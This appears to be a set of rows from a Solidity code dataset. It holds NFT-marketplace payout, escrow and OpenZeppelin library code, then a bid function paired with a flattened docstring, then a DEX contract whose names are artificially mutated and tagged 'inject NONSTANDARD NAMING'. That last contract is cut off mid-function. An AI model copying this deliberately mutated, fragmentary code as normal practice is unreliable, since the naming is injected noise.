* @param _primarySalePayee address seller of the token.
*/
function payout(
uint256 _amount,
bool _isPrimarySale,
uint8 _marketplacePercentage,
uint8 _royaltyPercentage,
uint8 _primarySalePercentage,
address payable _payee,
address payable _marketplacePayee,
address payable _royaltyPayee,
address payable _primarySalePayee
) internal {
require(
_marketplacePercentage <= 100,
"payout::marketplace percentage cannot be above 100"
);
require(
_royaltyPercentage.add(_primarySalePercentage) <= 100,
"payout::percentages cannot go beyond 100"
);
require(
_payee != address(0) &&
_primarySalePayee != address(0) &&
_marketplacePayee != address(0) &&
_royaltyPayee != address(0),
"payout::no payees can be the zero address"
);
// Note:: Solidity is kind of terrible in that there is a limit to local
// variables that can be put into the stack. The real pain is that
// one can put structs, arrays, or mappings into memory but not basic
// data types. Hence our payments array that stores these values.
uint256[4] memory payments;
// uint256 marketplacePayment
payments[0] = calcPercentagePayment(_amount, _marketplacePercentage);
// uint256 royaltyPayment
payments[1] = calcRoyaltyPayment(
_isPrimarySale,
_amount,
_royaltyPercentage
);
// uint256 primarySalePayment
payments[2] = calcPrimarySalePayment(
_isPrimarySale,
_amount,
_primarySalePercentage
);
// uint256 payeePayment
payments[3] = _amount.sub(payments[1]).sub(payments[2]);
// marketplacePayment
if (payments[0] > 0) {
SendValueOrEscrow.sendValueOrEscrow(_marketplacePayee, payments[0]);
}
// royaltyPayment
if (payments[1] > 0) {
SendValueOrEscrow.sendValueOrEscrow(_royaltyPayee, payments[1]);
}
// primarySalePayment
if (payments[2] > 0) {
SendValueOrEscrow.sendValueOrEscrow(_primarySalePayee, payments[2]);
}
// payeePayment
if (payments[3] > 0) {
SendValueOrEscrow.sendValueOrEscrow(_payee, payments[3]);
}
}
/////////////////////////////////////////////////////////////////////////
// calcRoyaltyPayment
/////////////////////////////////////////////////////////////////////////
/**
* @dev Private function to calculate Royalty amount.
* If primary sale: 0
* If no royalty percentage: 0
* otherwise: royalty in wei
* @param _isPrimarySale bool of whether this is a primary sale
* @param _amount uint256 value to be split
* @param _percentage uint8 royalty percentage
* @return uint256 wei value owed for royalty
*/
function calcRoyaltyPayment(
bool _isPrimarySale,
uint256 _amount,
uint8 _percentage
) private pure returns (uint256) {
if (_isPrimarySale) {
return 0;
}
return calcPercentagePayment(_amount, _percentage);
}
/////////////////////////////////////////////////////////////////////////
// calcPrimarySalePayment
/////////////////////////////////////////////////////////////////////////
/**
* @dev Private function to calculate PrimarySale amount.
* If not primary sale: 0
* otherwise: primary sale in wei
* @param _isPrimarySale bool of whether this is a primary sale
* @param _amount uint256 value to be split
* @param _percentage uint8 royalty percentage
* @return uint256 wei value owed for primary sale
*/
function calcPrimarySalePayment(
bool _isPrimarySale,
uint256 _amount,
uint8 _percentage
) private pure returns (uint256) {
if (_isPrimarySale) {
return calcPercentagePayment(_amount, _percentage);
}
return 0;
}
/////////////////////////////////////////////////////////////////////////
// calcPercentagePayment
/////////////////////////////////////////////////////////////////////////
/**
* @dev Internal function to calculate percentage value.
* @param _amount uint256 wei value
* @param _percentage uint8 percentage
* @return uint256 wei value based on percentage.
*/
function calcPercentagePayment(uint256 _amount, uint8 _percentage)
internal
pure
returns (uint256)
{
return _amount.mul(_percentage).div(100);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/payment/PullPayment.sol";
import "./MaybeSendValue.sol";
/**
* @dev Contract to make payments. If a direct transfer fails, it will store the payment in escrow until the address decides to pull the payment.
*/
contract SendValueOrEscrow is MaybeSendValue, PullPayment {
/////////////////////////////////////////////////////////////////////////
// Events
/////////////////////////////////////////////////////////////////////////
event SendValue(address indexed _payee, uint256 amount);
/////////////////////////////////////////////////////////////////////////
// sendValueOrEscrow
/////////////////////////////////////////////////////////////////////////
/**
* @dev Send some value to an address.
* @param _to address to send some value to.
* @param _value uint256 amount to send.
*/
function sendValueOrEscrow(address payable _to, uint256 _value) internal {
// attempt to make the transfer
bool successfulTransfer = MaybeSendValue.maybeSendValue(_to, _value);
// if it fails, transfer it into escrow for them to redeem at their will.
if (!successfulTransfer) {
_asyncTransfer(_to, _value);
}
emit SendValue(_to, _value);
}
}
// SPDX-License-Identifier: MI
pragma solidity 0.6.12;
import "./ISendValueProxy.sol";
/**
* @dev Contract that attempts to send value to an address.
*/
contract SendValueProxy is ISendValueProxy {
/**
* @dev Send some wei to the address.
* @param _to address to send some value to.
*/
function sendValue(address payable _to) external payable override {
// Note that `<address>.transfer` limits gas sent to receiver. It may
// not support complex contract operations in the future.
_to.transfer(msg.value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./escrow/Escrow.sol";
/**
* @dev Simple implementation of a
* https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls[pull-payment]
* strategy, where the paying contract doesn't interact directly with the
* receiver account, which must withdraw its payments itself.
*
* Pull-payments are often considered the best practice when it comes to sending
* Ether, security-wise. It prevents recipients from blocking execution, and
* eliminates reentrancy concerns.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* To use, derive from the `PullPayment` contract, and use {_asyncTransfer}
* instead of Solidity's `transfer` function. Payees can query their due
* payments with {payments}, and retrieve them with {withdrawPayments}.
*/
abstract contract PullPayment {
Escrow private _escrow;
constructor () internal {
_escrow = new Escrow();
}
/**
* @dev Withdraw accumulated payments, forwarding all gas to the recipient.
*
* Note that _any_ account can call this function, not just the `payee`.
* This means that contracts unaware of the `PullPayment` protocol can still
* receive funds this way, by having a separate account call
* {withdrawPayments}.
*
* WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
* Make sure you trust the recipient, or are either following the
* checks-effects-interactions pattern or using {ReentrancyGuard}.
*
* @param payee Whose payments will be withdrawn.
*/
function withdrawPayments(address payable payee) public virtual {
_escrow.withdraw(payee);
}
/**
* @dev Returns the payments owed to an address.
* @param dest The creditor's address.
*/
function payments(address dest) public view returns (uint256) {
return _escrow.depositsOf(dest);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* Funds sent in this way are stored in an intermediate {Escrow} contract, so
* there is no danger of them being spent before withdrawal.
*
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function _asyncTransfer(address dest, uint256 amount) internal virtual {
_escrow.deposit{ value: amount }(dest);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../math/SafeMath.sol";
import "../../access/Ownable.sol";
import "../../utils/Address.sol";
/**
* @title Escrow
* @dev Base escrow contract, holds funds designated for a payee until they
* withdraw them.
*
* Intended usage: This contract (and derived escrow contracts) should be a
* standalone contract, that only interacts with the contract that instantiated
* it. That way, it is guaranteed that all Ether will be handled according to
* the `Escrow` rules, and there is no need to check for payable functions or
* transfers in the inheritance tree. The contract that uses the escrow as its
* payment method should be its owner, and provide public methods redirecting
* to the escrow's deposit and withdraw.
*/
contract Escrow is Ownable {
using SafeMath for uint256;
using Address for address payable;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param payee The destination address of the funds.
*/
function deposit(address payee) public payable virtual onlyOwner {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee, forwarding all gas to the
* recipient.
*
* WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
* Make sure you trust the recipient, or are either following the
* checks-effects-interactions pattern or using {ReentrancyGuard}.
*
* @param payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address payable payee) public virtual onlyOwner {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.sendValue(payment);
emit Withdrawn(payee, payment);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
|
/ bid/ Bids on the token, replacing the bid if the bid is higher than the current bid. You cannot bid on a token you already own. _newBidAmount uint256 value in wei to bid. _tokenId uint256 ID of the token _owner address of the token owner/ Check that bid is greater than 0. Check that bid is higher than previous bid Check that enough ether was sent.Check bid range Check that bidder is not owner. Refund previous bidder. Set the new bid.
|
function bid(
uint256 _newBidAmount,
uint256 _tokenId,
address _owner
) external payable {
require(_newBidAmount > 0, "bid::Cannot bid 0 Wei.");
require(nifter.getIsForSale(_tokenId, _owner) == true, "bid::not for sale");
uint256 currentBidAmount =
activeBid[_tokenId][_owner].amount;
require(
_newBidAmount > currentBidAmount &&
_newBidAmount >=
currentBidAmount.add(
currentBidAmount.mul(minimumBidIncreasePercentage).div(100)
),
"bid::Must place higher bid than existing bid + minimum percentage."
);
uint256 requiredCost =
_newBidAmount.add(
_newBidAmount.mul(
nifter.getServiceFee(_tokenId)
).div(100)
);
require(
requiredCost <= msg.value,
"bid::Must purchase the token for the correct price."
);
ActiveBidRange memory range = activeBidRange[_tokenId][_owner];
uint8 priceType = nifter.getPriceType(_tokenId, _owner);
require(priceType == 1 || priceType == 2, "bid is not valid for fixed sale");
if (priceType == 1)
require(range.startTime < block.timestamp && range.endTime > block.timestamp, "bid::can't place bid'");
require(_owner != msg.sender, "bid::Bidder cannot be owner.");
_refundBid(_tokenId, _owner);
_setBid(_newBidAmount, msg.sender, _tokenId, _owner);
nifter.setBid(_newBidAmount, msg.sender, _tokenId, _owner);
emit Bid(msg.sender, _newBidAmount, _tokenId);
}
| 1,455,515
|
pragma solidity ^0.5.2;
library SafeMath {
function MUL925(uint a, uint b) internal pure returns (uint) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b);
return c;
}
function DIV533(uint a, uint b) internal pure returns (uint) { //inject NONSTANDARD NAMING
require(b > 0);
uint c = a / b;
return c;
}
function SUB977(uint a, uint b) internal pure returns (uint) { //inject NONSTANDARD NAMING
require(b <= a);
uint c = a - b;
return c;
}
function ADD680(uint a, uint b) internal pure returns (uint) { //inject NONSTANDARD NAMING
uint c = a + b;
require(c >= a);
return c;
}
}
contract Token {
function TOTALSUPPLY944() public returns (uint supply) {} //inject NONSTANDARD NAMING
function BALANCEOF651(address _owner) public returns (uint balance) {} //inject NONSTANDARD NAMING
function TRANSFER915(address _to, uint _value) public returns (bool success) {} //inject NONSTANDARD NAMING
function TRANSFERFROM250(address _from, address _to, uint _value) public returns (bool success) {} //inject NONSTANDARD NAMING
function APPROVE235(address _spender, uint _value) public returns (bool success) {} //inject NONSTANDARD NAMING
function ALLOWANCE981(address _owner, address _spender) public returns (uint remaining) {} //inject NONSTANDARD NAMING
event TRANSFER161(address indexed _from, address indexed _to, uint _value); //inject NONSTANDARD NAMING
event APPROVAL494(address indexed _owner, address indexed _spender, uint _value); //inject NONSTANDARD NAMING
uint public decimals;
string public name;
string public symbol;
}
contract DEX_Orgon {
using SafeMath for uint;
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
mapping (address => uint) public feeMake; //percentage times (1 ether) (sell fee)
mapping (address => uint) public feeTake; //percentage times (1 ether) (buy fee)
mapping (address => uint) public feeDeposit; //percentage times (1 ether)
mapping (address => uint) public feeWithdraw; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
mapping (address => bool) public activeTokens;
mapping (address => uint) public tokensMinAmountBuy;
mapping (address => uint) public tokensMinAmountSell;
event ORDER901(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); //inject NONSTANDARD NAMING
event CANCEL650(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); //inject NONSTANDARD NAMING
event TRADE560(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); //inject NONSTANDARD NAMING
event DEPOSIT211(address token, address user, uint amount, uint balance); //inject NONSTANDARD NAMING
event WITHDRAW585(address token, address user, uint amount, uint balance); //inject NONSTANDARD NAMING
event ACTIVATETOKEN153(address token, string symbol); //inject NONSTANDARD NAMING
event DEACTIVATETOKEN237(address token, string symbol); //inject NONSTANDARD NAMING
constructor (address admin_, address feeAccount_) public {
admin = admin_;
feeAccount = feeAccount_;
}
function CHANGEADMIN303(address admin_) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
admin = admin_;
}
function CHANGEFEEACCOUNT535(address feeAccount_) public { //inject NONSTANDARD NAMING
require (msg.sender == admin);
feeAccount = feeAccount_;
}
function DEPOSIT962() public payable { //inject NONSTANDARD NAMING
uint feeDepositXfer = msg.value.MUL925(feeDeposit[address(0)]) / (1 ether);
uint depositAmount = msg.value.SUB977(feeDepositXfer);
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].ADD680(depositAmount);
tokens[address(0)][feeAccount] = tokens[address(0)][feeAccount].ADD680(feeDepositXfer);
emit DEPOSIT211(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]);
}
function WITHDRAW601(uint amount) public { //inject NONSTANDARD NAMING
require (tokens[address(0)][msg.sender] >= amount);
uint feeWithdrawXfer = amount.MUL925(feeWithdraw[address(0)]) / (1 ether);
uint withdrawAmount = amount.SUB977(feeWithdrawXfer);
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].SUB977(amount);
tokens[address(0)][feeAccount] = tokens[address(0)][feeAccount].ADD680(feeWithdrawXfer);
msg.sender.transfer(withdrawAmount);
emit WITHDRAW585(address(0), msg.sender, amount, tokens[address(0)][msg.sender]);
}
function DEPOSITTOKEN735(address token, uint amount) public { //inject NONSTANDARD NAMING
require (token != address(0));
require (ISTOKENACTIVE523(token));
require(Token(token).TRANSFERFROM250(msg.sender, address(this), amount));
uint feeDepositXfer = amount.MUL925(feeDeposit[token]) / (1 ether);
